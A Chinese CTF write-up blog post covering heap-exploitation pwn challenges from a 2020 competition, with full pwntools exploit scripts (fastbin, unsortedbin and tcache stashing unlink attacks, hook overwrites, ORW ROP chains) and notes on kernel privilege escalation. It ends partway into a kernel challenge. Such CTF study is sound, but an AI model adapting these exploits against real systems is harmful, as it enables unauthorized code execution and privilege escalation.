高校战疫网络安全分享赛

字数统计: 5.9k字   |   阅读时长≈ 28分

最近有点做题感觉进入疲惫期了，每天做不了几道题，而且太难的题，做一会就不想做了。调整一下状态，还是要学习更多呀，实在是差太多了。

WodenBox2

程序分析

image-20201013145720972

在 Edit函数里，可以随便溢出，这就使得这题很简单了。然后唯一有一点是 删除时，会将 chunk_list从从开始 往前挪 0x10，虽然也存在漏洞，但是没想过怎么利用，倒是每次删除会往前覆盖，如果随便删会导致我们有的地址被清空了，所以我每次删除都只删除 第一个。

利用分析

先 利用 unsortedbin attack在堆块 fd 指针残留 main_arena+88 的地址，然后使用 fastbin attack 修改 指针到 stdout泄露地址。最后就是同样原理修改 malloc_hook 为 gadget地址 来 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./woodenbox2')
    elf = ELF('./woodenbox2')
    libc = ELF('./libc.so.6')
else:
    p = remote('')

gadgets = [0x45226,0x4527a,0xf0364,0xf1207]
def Add(size, content):
    p.recvuntil('Your choice:')
    p.sendline('1')
    p.recvuntil('Please enter the length of item name:')
    p.sendline(str(size))
    p.recvuntil('Please enter the name of item:')
    p.sendline(content)

def Edit(idx, size, content):
    p.recvuntil('Your choice:')
    p.sendline('2')
    p.recvuntil('Please enter the index of item:')
    p.sendline(str(idx))
    p.recvuntil('Please enter the length of item name:')
    p.sendline(str(size))
    p.recvuntil('Please enter the new name of the item:')
    p.send(content)

def Delete(idx):
    p.recvuntil('Your choice:')
    p.sendline('3')
    p.recvuntil('Please enter the index of item:')
    p.sendline(str(idx))

def pwn():
    Add(0x50, '0')
    Add(0x20, '0')
    Add(0x68, '0')
    Add(0xa8, '1')
    Add(0x18, '2')
    Add(0x68, '3')
    Add(0x68, '4')
    Add(0x68, '5')

    Delete(0)
    Delete(0)
    Delete(0)   #chunk0
    Delete(0)   #chunk1 id 0 into unsortedbin
    Add(0x68, '0')  #chunk0 id4 
    Add(0x68, '1')  #chunk1 id 5, fd is main_arena+88
    payload = 'a'*0x60 + p64(0) + p64(0x71) + '\xdd\x25'
    Edit(4, len(payload), payload)

    Delete(0)   #chunk2 id0
    Add(0x18, '2')  #chunk2 id 5
    #fastbin
    Delete(0)   #chunk3 id0
    Delete(0)   #chunk4 id0

    payload = 'a'*0x10 + p64(0) + p64(0x71) + 'a'*0x60 + p64(0) + p64(0x71) + '\x00'
    Edit(3, len(payload), payload)
    Add(0x68, '4')  #chunk4 id 4
    Add(0x68, '5')  #chunk1 id 5
    #malloc to stdio
    Add(0x68, '6')  #chunk stdout, id 6
    payload = 'a'*0x33 + p64(0xfbad1800) + p64(0)*3 + '\x00'
    Edit(6, len(payload), payload)

    libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    libc_base = libc_addr - 0x3c5600
    print 'libc_base:',hex(libc_base)
    system_addr = libc_base + libc.sym['system']
    free_hook = libc_base + libc.sym['__free_hook']
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    print 'system_addr:',hex(system_addr)
    print 'free_hook:',hex(free_hook)
    print 'malloc_hook:',hex(malloc_hook)
    gadget = gadgets[3] + libc_base

    # gdb.attach(p, 'bp $rebase(0x101a)')
    
    Delete(0)   #chunk0
    Delete(0)
    Delete(0)   #chunk1
    payload = p64(malloc_hook-0X23)
    Edit(2, len(payload), payload)
    Add(0x68, 'a') #chunk1, id 4
    payload = '/bin/sh\x00'
    Edit(4, len(payload), payload)
    Add(0X68, 'a'*0x13 + p64(gadget))  #free_hook, id5
    # payload = 'a'*0x13 + p64(gadget)
    # Edit(5, payload)
    gdb.attach(p, 'bp $rebase(0x101a)')
        
    p.recvuntil('Your choice:')
    p.sendline('1')
    p.recvuntil('Please enter the length of item name:')
    p.sendline(str(0x68))

    p.interactive()


#pwn()
i = 1
while True:
    try:
        print 'i:',i
        i += 1
        pwn()
    except:
        p.close()
        p = process('./woodenbox2')

Shortest_path

是最短路径算法，由于将 flag堆到了内存里，可以通过不断分配堆块接近 flag的地址，直到把 flag读入然后输出。我是算法渣渣，最短路径算法看半天看不懂。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
sh=process('./Shortest_path')

def add(index,size,name,number):
    sh.recvuntil("options ---> ")
    sh.sendline("1")
    sh.recvuntil("Station ID: ")
    sh.sendline(str(index))
    sh.recvuntil("Station Price: ")
    sh.sendline("1")
    sh.recvuntil("Station Name Length: ")
    sh.sendline(str(size))
    sh.recvuntil("Station Name: \n")
    sh.send(name)
    sh.recvuntil("Number of connected station: ")
    sh.sendline(str(number))

add(0,0x68,'a',0)
add(1,0x68,'a',0)
add(2,0x68,'a',0)
add(3,0x48,'a' * 0x30,0)

sh.recvuntil("options ---> ")
sh.sendline("3")
sh.recvuntil("Station ID: ")
sh.sendline("3")
sh.interactive()

lgd

程序分析

这道题含有许多无用代码，不知道是在哪里看到的类似的题也是这样添加很多无用代码，不过都不重要，反正直接忽略就行。

image-20201014083215782

程序漏洞存在 snprintf函数的返回值，并不是实际写入的字符串长度，而是源字符串的长度。也就是此时的 size是与我们输入的 buf字符串的长度有关。那么 size可以比我们申请的 chunk_size大，造成堆溢出。

此外，还开了沙箱，不能够直接 执行 execve。

利用分析

  1. chunk overlap 实现

实现方式很常见，覆盖 prev_inuse，伪造 prev_size实现向上覆盖。

  1. 利用 unsortedbin attack 泄露地址
  2. 利用 malloc_hook 来 getshell。这里 gadget可能因为环境的原因并不一定能成功。但是可以利用 Unsortedbin attack向 free_hook 前面区域 写入 \x7f，此时就可以分配堆块到 free_hook，改为 setcontext+53地址，再利用 orw 来 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug= 1

if debug == 1:
    p = process('./pwn')
    elf = ELF('./pwn')
    libc = ELF('./libc.so.6')

gadgets = [0x45226,0x4527a,0xf0364,0xf1207]
buf_addr = 0x603060
bss_addr = 0x603000
def init(name):
    p.recvuntil('what is your name? \n')
    p.sendline(name)


def Add(size, content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.recvuntil('______?\n')
    p.sendline(str(size))
    p.recvuntil('yes_or_no?\n')
    p.sendline(content)

def Delete(idx):
    p.recvuntil('>> ')
    p.sendline('2')
    p.recvuntil('index ?\n')
    p.sendline(str(idx))    

def Show(idx):
    p.recvuntil('>> ')
    p.sendline('3')
    p.recvuntil('index ?\n')
    p.sendline(str(idx))

def Edit(idx, content):
    p.recvuntil('>> ')
    p.sendline('4')
    p.recvuntil('index ?\n')
    p.sendline(str(idx))
    p.recvuntil('c___new_content ?\n')
    p.send(content)

def pwn():
    init('aaa')
    payload = 'a'*0x108
    Add(0x98, payload)  #0
    Add(0x68, payload)  #1
    Add(0x68, payload)  #2
    Add(0xf8, payload)  #3
    Add(0x68, payload)  #4
    #chunk overlap
    
    payload = 'a'*0x60 + p64(0xa0+0x70+0x70) + p64(0x100)
    Edit(2, payload)
    Delete(0)
    Delete(3)
    
    Add(0x98, 'a'*0x108) #0
    Show(1)
    libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    libc_base = libc_addr - 0x3c4b78
    print 'libc_addr:',hex(libc_addr)
    print 'libc_base:',hex(libc_base)
    malloc_hook = libc_base + libc.sym['__malloc_hook']
    free_hook = libc_base + libc.sym['__free_hook']
    gadget = gadgets[3] + libc_base   
    print 'malloc_hook:',hex(malloc_hook)
    print 'gadget:',hex(gadget)
    setcontext = libc_base + libc.sym['setcontext']
    print 'setcontext:',hex(setcontext)

    #alloc to free_hook
    #get heap_addr
    Add(0x68, 'a'*0x68) #chunk1, id3
    #change free_hook
    #gdb.attach(p, 'bp 0x4022c4')
    # Edit(2, p64(0)+p64(free_hook-0x38))
    Add(0x48, 'a'*0x68) #chunk2, id5
    Edit(2, 'a'*0x40+p64(0)+p64(0x121)+p64(0)+p64(free_hook-0x60))
    Add(0x110, 'a'*0x110)   #chunk3, id6
    #Delete(0)
    Delete(5)
    Delete(3)
    # Show(1)
    # heap_addr = u64(p.recvuntil('\n', drop=True))
    libc.address = libc_base
    pop_rdi_ret = 0x0000000000021112 + libc.address
    pop_rsi_ret = 0x00000000000202f8 + libc.address
    pop_rdx_ret = 0x0000000000001b92 + libc.address
    pop_rax_ret = 0x000000000003a738 + libc.address
    pop_rsp_ret = 0x0000000000003838 + libc.address
    sys_call = 0x00000000000bc3f5 + libc.address

    # pop_rdi_ret = 0x26b72 + libc_base
    # pop_rsi_ret = 0x27529 + libc_base
    # pop_rdx_r12_ret = 0x11c1e1 + libc_base
    # pop_rax_ret = 0x4a550 + libc_base
    # sys_call = libc_base + 0x2584d
    # ret = libc_base + 0x25679

    
    sigframe = SigreturnFrame()
    sigframe.rdi = bss_addr
    sigframe.rsi = 0x1000
    sigframe.rdx = 7
    sigframe.rsp = buf_addr+0x10
    sigframe.rip = libc.sym['mprotect']
    
    flag_str_addr = buf_addr
    flag_addr = buf_addr + 0x200

    orw = flat([
        pop_rdi_ret, flag_str_addr,
        pop_rsi_ret, 0,
        pop_rax_ret, 2,
        sys_call,
        pop_rdi_ret, 3,
        pop_rsi_ret, flag_addr,
        pop_rdx_ret, 0x30,
        pop_rax_ret, 0,
        sys_call,
        pop_rdi_ret, 1,
        pop_rsi_ret, flag_addr,
        pop_rdx_ret, 0x30,
        pop_rax_ret, 1,
        sys_call
    ])

    # Add(0x68, 'a'*0x68) #chunk1, id3
    # Add(0x68, 'a'*0x68)	#chunk2, id5
    # #Delete(0)
    # Delete(5)
    # Delete(3)
    gdb.attach(p, 'bp 0x4022c4')
    Edit(1, p64(free_hook-0x53))
    Add(0x68, 'a'*0x200)  #0
    payload1 = './flag\x00\x00'+'a'*0x8+str(orw)
    payload1 = payload1.ljust(0x200, '\x00')
    Add(0x68, 'a'*0x4b) #id 5, chunk free_hook
    Delete(1)
    payload2 = str(sigframe)
    Edit(5, '\x00'*0x43+p64(setcontext+53))
    Add(0x68, payload1)
    Edit(3, payload2)
    Delete(3)

    p.interactive()

pwn()

Easy heap

程序分析

程序总体功能是一个常见的菜单题，而且没有常见的各种漏洞。

image-20201013130204689

在 add函数中，如果我们输入的 size过大，那么只会申请一个结构体chunk，但是不会再往下覆盖 chunk中的数据。如果此时 chunk中残留了 fd指针的数据，那么就可以通过该 fd数据去修改指向的 堆块地址。而如果我们接下来再申请一个堆块，那么第二个 chunk的头地址就是 第一个chunk的 fd指针，也就是说第二个 chunk的数据可以被我们修改。

漏洞有点难发现，不是常规的各种漏洞，有一点考逻辑漏洞了。

利用分析

先构造 堆块溢出；再常规的改 free_got泄露地址，改 atoi_got 来 getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./easyheap')
    elf = ELF('./easyheap')
    libc = ELF('./libc.so.6')
else:
    p = remote('')

free_got = 0x602018
puts_got = 0x602020
puts_plt = 0x400670
atoi_got = 0x602050
delete_num = 0x6020ac

def Add(size, content):
    p.recvuntil('Your choice:\n')
    p.sendline('1')
    p.recvuntil('How long is this message?\n')
    p.sendline(str(size))
    p.recvuntil('What is the content of the message?\n')
    p.sendline(content)

def Edit(idx, content):
    p.recvuntil('Your choice:\n')
    p.sendline('3')
    p.recvuntil('item to be modified?')
    p.sendline(str(idx))
    p.recvuntil('content of the message?\n')
    p.send(content)

def Delete(idx):
    p.recvuntil('Your choice:\n')
    p.sendline('2')
    p.recvuntil('item to be deleted?\n')
    p.sendline(str(idx))

def pwn():
    Add(0x18, p64(0)+p64(0x18))
    Add(0x18, p64(0)+p64(0x18))
    Add(0x18, p64(0)+p64(0x18))

    Delete(0)
    Delete(1)
    Delete(2)
    #gdb.attach(p)
    p.recvuntil('Your choice:\n')
    p.sendline('1')
    p.recvuntil('How long is this message?\n')
    p.sendline(str(0x4000))

    p.recvuntil('Your choice:\n')
    p.sendline('1')
    p.recvuntil('How long is this message?\n')
    p.sendline(str(0x4000))

    Add(0x18, 'c')

    #edit free_hook as puts_plt
    Edit(1, p64(0)+p64(0x21)+p64(free_got))
    Edit(2, p64(puts_plt))


    Edit(1, p64(0)+p64(0x21)+p64(puts_got))
    Delete(2)

    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    libc_base = puts_addr - libc.sym['puts']
    print 'libc_base:',hex(libc_base)
    system_addr = libc_base + libc.sym['system']
    print 'system_addr:',hex(system_addr)

    Edit(0, p64(0)+p64(0x21)+p64(atoi_got))
    Edit(1, p64(system_addr))

    #Edit(0, p64(0)+p64(0x21)+'/bin/sh\x00')
    p.sendline('/bin/sh\x00')

    p.interactive()

pwn()

Easy VM

程序分析

image-20201014201900500

程序的重点函数是 start函数，根据函数里的功能，我们可以大致定清楚程序的结构体的成员变量。这时候我们再来看 start函数里的功能就比较清楚了。

image-20201014201344210

当 0x80时，可以通过 EIP+2 的值，改写 ptr任意成员的值。

image-20201014201454418

当为 0x9时，可以将 ptr[1] 也就是 EAX的值改为 dword_305c的值，而 dword_305c可以通过选项4 改一个 plt地址。同时可以通过 输入 0x11 输出 EAX的值。

image-20201014221247008

此外，在 0x53时还可以 打印一个字符

image-20201014220740322

0x54可以读取一个字符：

image-20201014222308656

利用分析

  1. 泄露 plt 地址

首先选择选项4，将一个 plt地址赋给 一个变量。然后选择 2，再通过 0x9 和 0x11 选项将 plt 地址输出出来。

  1. 泄露 libc 地址

知道 plt表的地址后，我们就可以知道 got表地址。我们将 got表地址通过 0x80 赋值到 ptr[3]里，然后通过 0x53 将 got 里的 libc地址 依次打印出来。

  1. 修改 free_hook 为 one_gadget

知道 Libc地址后，我们就可以知道 free_hook地址。先通过 0x80将 free_hook地址放到 ptr[3]里，然后通过 0x54依次读取 system的地址覆盖 free_hook地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context.update(os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./EasyVM')
    elf = ELF('./EasyVM')
    libc = ELF('./libc.so')

def Send(payload):
    p.recvuntil('robot sleep!\n>>> \n')
    p.sendline('1')
    p.send(payload)

def Start():
    p.recvuntil('robot sleep!\n>>> \n')
    p.sendline('2')

def Delete():
    p.recvuntil('robot sleep!\n>>> \n')
    p.sendline('3')

def GetAddr():
    p.recvuntil('robot sleep!\n>>> \n')
    p.sendline('4')

def Pwn():
    gdb.attach(p, 'bp $rebase(0xee9)')
    GetAddr()
    payload = '\x09\x11\x99'
    Send(payload)
    Start()
    plt_addr = int(p.recvuntil('\n', drop=True),16)
    plt_base = plt_addr & 0xfffff000
    print 'plt_base:',hex(plt_base)
    free_got = plt_base + 0x2fbc
    print 'free_got:',hex(free_got)

    free_addr = ''
    for i in range(4):
        payload = '\x80\x03'+p32(free_got+i)+'\x53\x99\x99'
        Send(payload)
        Start()
        free_addr += p.recvuntil("1.Produce", drop=True)[-1:]
    free_addr = u32(free_addr)
    libc_base = free_addr - libc.sym['free']
    print 'free_addr:',hex(free_addr)
    print 'libc_base:',hex(libc_base)
    system_addr = libc_base + libc.sym['system']
    free_hook = libc_base + libc.sym['__free_hook']
    bin_sh_addr = libc_base + next(libc.search('/bin/sh\x00'))
    print 'system_addr:',hex(system_addr)
    print 'bin_addr:',hex(bin_sh_addr)
    
    for i in range(4):
        payload = '\x80\x03'+p32(free_hook+i)+'\x54\x99\x99'
        Send(payload)
        Start()
        p.send(p32(system_addr)[i:i+1])

    payload = '\x80\x10'+p32(bin_sh_addr)+'\x99'
    Send(payload)
    Start()

    Delete()

    p.interactive()

Pwn()

musl

程序分析

使用 musl libc，可以学习一下。

利用分析

EXP

two chunk

程序分析

image-20201015214101367

程序做了很多限定，很多操作都只能做一次。在 Add函数中，可以看到一个 标志 calloc，这和之前遇到的 tcache stash unlink攻击一致。

image-20201015214300049

在 edit函数里存在一次堆溢出。

image-20201015214450816

有一次机会 能够 malloc申请 0x88的堆块。

image-20201015214531613

还可以执行 name存储的函数指针。那么我们的利用目的很明显，应该是像 name里写上 system(‘/bin/sh)函数去执行。

利用分析

  1. 布置buf地址，填充 0x91tcache

由于程序中只有两次 malloc，我们选择 malloc(0x88)来实现 tcache stashing unlink attack，所以需要先申请并释放5个 0x91的chunk 进入 tcache。然后 malloc(0xe9)，我们则可以利用他从tcache链中申请来泄露heap 地址。并且我们想要通过 tcache stashing unlink attack来泄露 libc地址，我们将fake_chunk 伪造到 name地址，并且将 name的 fd值设置为 (name+0x30-0x10)。

  1. 准备0x91 chunk1

然后我们开始准备第一个 0x91 chunk1 进入 smallbin，先申请一个 0x128 大小的chunk1，填充满 0x130 大小的 tcache，再释放 chunk1 进入 unsortedbin中。再申请一个 0x98 的chunk 来划分chunk1，此时 chunk1 只剩下 0x91 大小并处于 unsortedbin中。

  1. 准备堆溢出和泄露heap地址的0xe9 chunk

我们再申请 2个 0xe9 的chunk3，此时 chunk1已经进入 smallbin中，并释放使其进入 0x100 的 tcache中。

  1. 准备 0x91 chunk2

然后准备第二个 0x91 chunk2 使其进入 smallbin中，先申请一个 0x138 大小的 chunk2，再填满 0x140 大小的 tcache，再释放 chunk2 进入 unsortedbin 中，申请一个 0xa8 的 chunk 划分 chunk2，此时 chunk2 只剩下 0x91 大小 并处于 unsortedbin 中。

  1. malloc(0xe9)泄露 heap地址

然后调用 malloc(0xe9)，会从 0x100 的 tcache 中取出块chunk3，next 域保留了 heap地址，我们再将其输出 泄露出 heap地址。

  1. 触犯tcache stashing unlink attack

随后我们申请一个 0x300 的chunk，将chunk2 也放入smallbin中，此时 smallbin中 chunk2->chunk1。然后我们对chunk3使用堆溢出，由于chunk3是在chunk2之前，可以覆盖chunk2的fd 和 bk值，我们将 bk改为 name 地址，此时smllbin为 name->chunk2->chunk1。随后，我们调用calloc(0x88)来触发tcache stashing unlink attack，那么 此时smallbin剩下的 name和chunk2就会进入 0x91的tcache中，并且(name->fd)->bk = smallbin，那么此时在name+0x30 处就有了 libc地址，我们打印将其泄露。

  1. malloc(0x88)取出name

调用 malloc(0x88) 取出 name块，部署数据，再执行 name 即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug = 1
if debug == 1:
    p = process('./twochunk')
    elf = ELF('./twochunk')
    libc = ELF('./libc.so.6')

def init(name, message):
    p.recvuntil('leave your name: ')
    p.send(name)
    p.recvuntil('leave your message: ')
    p.send(message)

def Add(idx, size):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('idx: ')
    p.sendline(str(idx))
    p.recvuntil('size: ')
    p.sendline(str(size))

def Delete(idx):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('idx: ')
    p.sendline(str(idx))

def Show(idx):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('idx: ')
    p.sendline(str(idx))

def Edit(idx, content):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('idx: ')
    p.sendline(str(idx))
    p.recvuntil('content: ')
    p.sendline(content)

def Showbuf():
    p.recvuntil('choice: ')
    p.sendline('5')

def leavebuf(message):
    p.recvuntil('choice: ')
    p.sendline('6')
    p.recvuntil('leave your end message: ')
    p.sendline(message)    

def call():
    p.recvuntil('choice: ')
    p.sendline('7')


mammp_addr = 0x23333000
def Pwn():
    name = p64(mammp_addr+0x20)*6
    message = p64(mammp_addr+0x30)*8
    init(name, message)

    for i in range(5):
        Add(0, 0x88)
        Delete(0)
    gdb.attach(p, 'bp $rebase(0x1935)') 
    #chunk1
    Add(0, 0x128)
    for i in range(7):
        Add(1, 0x128)
        Delete(1)
    #chunk1 into unsotredbin 
    Delete(0)
    #chunk1 0x91 in unsortedbin
    Add(0, 0x98)
    #let 0xa0 into tcache
    Delete(0)

    #into 0x100 tcache
    #chunk1 into samllbin
    Add(0, 0xe9)
    Add(1, 0xe9)
    Delete(0)
    Delete(1)
    #chunk2
    Add(0, 0x138)
    for i in range(7):
        Add(1, 0x138)
        Delete(1)

    #chunk2 into unsortedbin
    Delete(0)
    Add(1, 0xa8)
    #0xb0chunk into tcache,0x91 chunk2 in usnrotedbin ,chunk1 0x91in smallbin
    Delete(1)
    #malloc 0x100
    Add(1, 23333)
    Show(1)
    heap_addr = u64(p.recv(8)) - 0xeb0
    print 'heap_addr:',hex(heap_addr)
    #chunk2->chunk1 in unsortedbin
    Add(0, 0x300)
    Delete(0)
    #change chunk2'bk to mammp_addr
    payload = '\x00'*0xf0 + p64(0)+p64(0xb1)+'\x00'*0xa0+p64(0)+p64(0x91)+p64(heap_addr+0x5c0)+p64(0x23332ff0)
    Edit(1, payload)
	#let mammp_addr->chunk2 into 0x91 tcache
    #*(mammp_addr+0x8)+0x10=smallbin
    Add(0, 0x88)
    Showbuf()
    p.recvuntil("message: ")
    libc.address = u64(p.recv(6).ljust(8, '\x00')) - 224 - (libc.sym['__malloc_hook'] + 0x10)
    payload = p64(libc.sym['system']).ljust(0x30, b"\x00")
    payload += p64(mammp_addr + 0x48) + p64(0)*2 + b"/bin/sh\x00"
    leavebuf(payload)
    call()
    p.interactive()

Pwn()

内核攻击

以下都是从这篇文章总结而来：

基础知识

分级保护域

内核代码和驱动程序放在ring0级，ring3用于用户程序运行。

提权

在内核中想要获得 root 权限不能只是用 system("/bin/sh")，而是用下面的语句：

1
commit_creds(prepare_kernel_cred (0));

这个函数分配并应用了一个新的凭证结构(uid = 0, gid = 0)，从而获得 root 权限。

内核保护措施

SEMP：管理模式执行保护，保护内核使其不允许执行用户空间代码，也即防止 ret2user 攻击。用以下命令检查 smep 是否开启：

1
cat /proc/cpuinfo | grep smep

smep 位于 CR4 寄存器的第20位，设置为 1。CR4 寄存器的值：

image-20201105133616470

关闭 SMEP 方法：修改 /etc/default/grub文件中的 GRUB_CMDLINE_LINUX=""，加上 nosmep/nosmap/nokaslr，然后 update-grub 就好。

1
2
GRUB_CMDLINE_LINUX="nosmep/nosmap/nokaslr" 
sudo update-grub

KASLR： 内核地址随机化

内核地址显示限制： 即 kptr_ restrict 指示是否限制通过 /proc 和其他接口暴露内核地址：

  • 0：默认情况下，没有任何限制
  • 1：使用 %pK 格式说明符打印的内核指针将被替换为0，除非用户具有 CAP_SYSLOG 特权
  • 2：使用 %pK 打印的内核指针将被替换为0 而不管特权

也即，不能直接通过 cat /proc/kallsyms 来获得 commit_creds的地址。使用如下命令禁用该限制：sudo sysctl -w kernel.kptr_restrict = 0。最后即可用如下命令查看：

image-20201105135300455

ret2user 攻击

ret2usr(return-to-usr) 利用了用户空间进程不能访问内核空间，但是内核空间能访问用户空间这个特性来重定向内核代码或数据流指向用户空间，并在非 root 权限下进行提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|----------------------|                          |----------------------|
| Function ptr         |<==     high mem       ==>| sreuct vulu_opos     |
|----------------------|                          |     *dptr;           |
|                      |                          |----------------------|
|----------------------|        内核空间           |                      |
| Data struct ptr      |                          |                      | 
|----------------------|                          |                      |
|----------------------|--------------------------|----------------------|
|----------------------|                          | struct vuln_ops{     |
| Data struct          |                          |    void(*a)();       |
|----------------------|        用户空间           |    int b;            |
|                      |                          |...};                 |
|----------------------|                          |----------------------|
| escalate_privs()     |<==      low mem       ==>| escalate_privs()     |
|----------------------|                          |----------------------|
  • 找一个函数指针来覆盖
  • 通常使用 ptmx_fops->release() 这个指针来指向要重写的内核空间。在内核空间中，ptmx_fops 作为静态变量存在，包含了一个指向 /dev/ptmx 的 file_operations 结构的指针。file_operations 结构包含一个函数指针，当时文件描述符诸如 读/写操作时，该函数指针被执行。
  • 在用户空间中使用 mmap 提权 payload，分配新的凭证结构
1
2
3
4
5
int __attribute__((regparm(3))) (*commit_creds)(unsigned long cred);
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred);
commit_creds = 0xffffffffxxxxxxxx;
prepare_kernel_cred = 0xffffffffxxxxxxxx;
void escalate_privs() { commit_creds(prepare_kernel_cred(0)); }  //获取root权限

struct cred —— cred的基本单位
prepare_kernel_cred —— 分配并返回一个新的cred
commit_creds —— 应用新的cred

  • 在用户空间创建一个新的结构体 A
  • 用提权函数指针来覆盖这个 A 的指针
  • 触发提权函数，执行 iretq 返回用户空间，执行 system("/bin/sh")

内核ROP

系统一旦开启 SMEP，就不能使用 ret2usr了，可以使用内核 ROP 技术来绕过 SMEP;

内核空间的 ROP 和用户空间的 ROP其实差不多，但是内核传参一般是通过寄存器而不是栈，而且内核并不和用户空间共用一个栈。

我们构建一个 ROP 链让它执行上面的内核提权操作，但是不执行在用户空间的任何指令。构造ROP链如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
|----------------------|
| pop rdi; ret         |<== low mem
|----------------------|
| NULL                 |
|----------------------|
| addr of              |
| prepare_kernel_cred()|
|----------------------|
| mov rdi, rax; ret    |
|----------------------|
| addr of              |
| commit_creds()       |<== high mem
|----------------------|

先将函数的第一个参数传入rdi寄存器中，然后ROP链中的第一条指令从堆栈中弹出空值，将这个值传递给prepare_kernel_cred()函数。然后将指向一个新的凭证结构的指针存储在rax中，并执行mov rdi, rax操作，再把这个rdi作为参数传递给commit_creds()。这样就实现了一个提权ROP链。

在完成提权后，还需要返回到用户空间里执行 system('/bin/sh')，用下面两个指令：

1
2
swapgs
iretq

使用 iretq指令返回到用户空间，在执行 Iretq之前，执行 swapgs指令，该指令通过用一个 MSR重点额值交换 GS寄存器的内容，用来获取指向内核数据结构的指针，然后才能执行系统调用之类的内核空间程序。iretq的堆栈布局如下：

1
2
3
4
5
6
7
8
9
10
11
|----------------------|
| RIP                  |<== low mem
|----------------------|
| CS                   |
|----------------------|
| EFLAGS               |
|----------------------|
| RSP                  |
|----------------------|
| SS                   |<== high mem
|----------------------|

Baby Hacker 2

应该算是一个简单的内核漏洞。

1
2
3
4
5
6
7
8
9
timeout --foreground 15 qemu-system-x86_64 \
    -m 512M \
    -nographic \
    -kernel bzImage \
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
    -monitor /dev/null \
    -initrd initramfs.cpio \
    -smp cores=2,threads=4 \
    -cpu qemu64,smep,smap 2>/dev/null

启动脚本中，可以看到开启了 kaslr、smep 和 smap三项保护，这三项分别是 内核地址随机化、禁止内核访问用户空间数据和禁止内核执行用户空间代码。其中部分参数说明如下：

1
2
3
4
-initrd initramfs.cpio，使用 initramfs.cpio 作为内核启动的文件系统
-kernel bzImage，使用 bzImage 作为 kernel 映像
-cpu qemu64,smep,smap，设置 CPU 的安全选项，这里开启了 smep
-m 64M，设置虚拟 RAM 为 64M，默认为 128M

内核文件 是 initramfs.cpio，可以使用 cpio -idmv < initramfs.cpio 解压该镜像文件，我们就能够看到该镜像内部执行的细节。可以发现一个启动脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#./etc/init.d/rcs
#!/bin/sh

mount -t proc none /proc
mount -t devtmpfs none /dev
mkdir /dev/pts
mount /dev/pts

insmod /home/pwn/babyhacker.ko
chmod 644 /dev/babyhacker
echo 0 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict

cd /home/pwn
chown -R root /flag
chmod 400 /flag

chown -R 1000:1000 .
setsid cttyhack setuidgid 1000 sh

umount /proc
poweroff -f

